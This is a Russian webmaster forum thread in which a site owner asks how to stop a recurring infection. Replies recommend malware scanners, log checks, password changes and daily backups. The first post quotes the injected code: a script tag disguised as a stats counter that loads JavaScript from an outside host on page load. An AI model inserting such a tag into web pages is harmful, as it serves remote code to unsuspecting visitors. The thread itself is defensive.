Проблена с сайтом - вирус

(Ответов: 7, Просмотров: 1125)
  1. Студент Аватар для semik
    • Регистрация: 12.07.2011
    • Сообщений: 44
    • Репутация: 6
    • Webmoney BL: ?
    Здраствуйте, столкнулся с проблемой.

    Каждый день в мой index.php шаблона появляется код типа:

    Код:
    <!-- 1bc||stat -->
    <script id="top100Counter" type="text/javascript" src="http://3vi.tv/1/js.js"></script>
    <!-- /1bc||stat -->
    что только не делал - сканировал АВП, проводил поиск по всех файлах текта "1bc", "<!-- 1bc||stat -->". Но ничего не помогло, спустя несколько дней после удаления код появляеться вновь. Изминения прав на запись index.php тоже не помогают.

    Может кто даст совет как быть, что делать?
    • 0
  2. Дипломник
    • Регистрация: 12.03.2013
    • Сообщений: 200
    • Репутация: 44
    Айболита пробуйте создатель на Серче обитает.
    http://revisium.com/ai/
    Последний раз редактировалось schtr; 19.03.2013 в 15:35.
    • -1
  3. Студент Аватар для voffka
    • Регистрация: 16.02.2011
    • Сообщений: 57
    • Репутация: 11
    Что говорят логи сайта? Проблем может быть масса. Меняйте пароль фтп, если не в фтп дело, - смотрите дыры через http
    • 0
  4. Новичок
    • Регистрация: 05.03.2013
    • Сообщений: 25
    • Репутация: 2
    у вас шелл залит, ищите ай-болитом...
    • 0
  5. Дипломник
    • Регистрация: 12.03.2013
    • Сообщений: 200
    • Репутация: 44
    Уважаемые обоснуйте свой минус желательно подробно.
    voffka, А что говорят логи сайта?
    • 0
  6. Гуру
    • Регистрация: 09.10.2011
    • Сообщений: 1,814
    • Репутация: 251
    semik, провертесь
    Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 1 сообщение(ий)):
    У вас нет прав чтобы видеть скрытый текст, содержащийся здесь.
    • 0
  7. Гуру Аватар для genjnat
    • Регистрация: 30.11.2010
    • Сообщений: 2,884
    • Репутация: 2594
    • Webmoney BL: ?
    Цитата Сообщение от schtr Посмотреть сообщение
    Уважаемые обоснуйте свой минус желательно подробно

    Комментарий модератора: genjnat


    1. Обсуждать репутацию запрещено!

    Сколько повторять то можно?!

    А по сабжу – просто эпидемия какая-то, нашествие школо-хакеров.
    У меня основной сайт за последний месяц – дважды шеллами фаршировали. И для редеректа мобильного трафа, и просто – покуражится.
    Удалить, вопрос 30-ти минут, если влом, то можно и бекап развернуть (у меня ежедневное копирование настроено, чего и вам semik, советую).
    Проще всего - обратитесь в ТП хостинга, если адекватные, то сами просканируют и дадут список подозрительных файлов.
    А вот уберечься на будущее, кажется невозможно – после последнего взлома, разговаривал со знающим человеком, так он мне сходу несколько дыр показал, а говорит если порою, то еще вдва раза больше найду. Заделывать – полностью переписывать компоненты и плагины, что не реально.
    Короче – самая надежная страховка – ежедневный бекап.
    • 0
  8. Новичок
    • Регистрация: 05.03.2013
    • Сообщений: 25
    • Репутация: 2
    genjnat, бекап это очень простой и самый последний вариант...
    если вам каждый день будут грязь подсовывать, не надоест бекап восстанавливать?
    бороться надо с причиной, тем более все большие дырки хорошо закрываются патчами безопасности.

    p.s. кому требуется помощь в очистке или просто консультация, обращайтесь (отзывы на серче и мауле)...
    Последний раз редактировалось Kgtu5; 27.03.2013 в 14:38.
    • 0

Похожие темы

Темы Раздел Ответов Последний пост
Вирус на vk.com
Оффтоп и свободные темы 17 04.02.2013 21:01
Странный вирус
Консультации по безопасности 17 14.11.2012 16:52
Вирус на сайте.
DLE 7 13.09.2012 00:09
Вирус на сайте.
WordPress 2 07.04.2012 20:23
Вирус на сайте.
Web программирование 1 03.04.2012 12:25

У кого попросить инвайт?

Вы можете попросить инвайт у любого модератора:

Информеры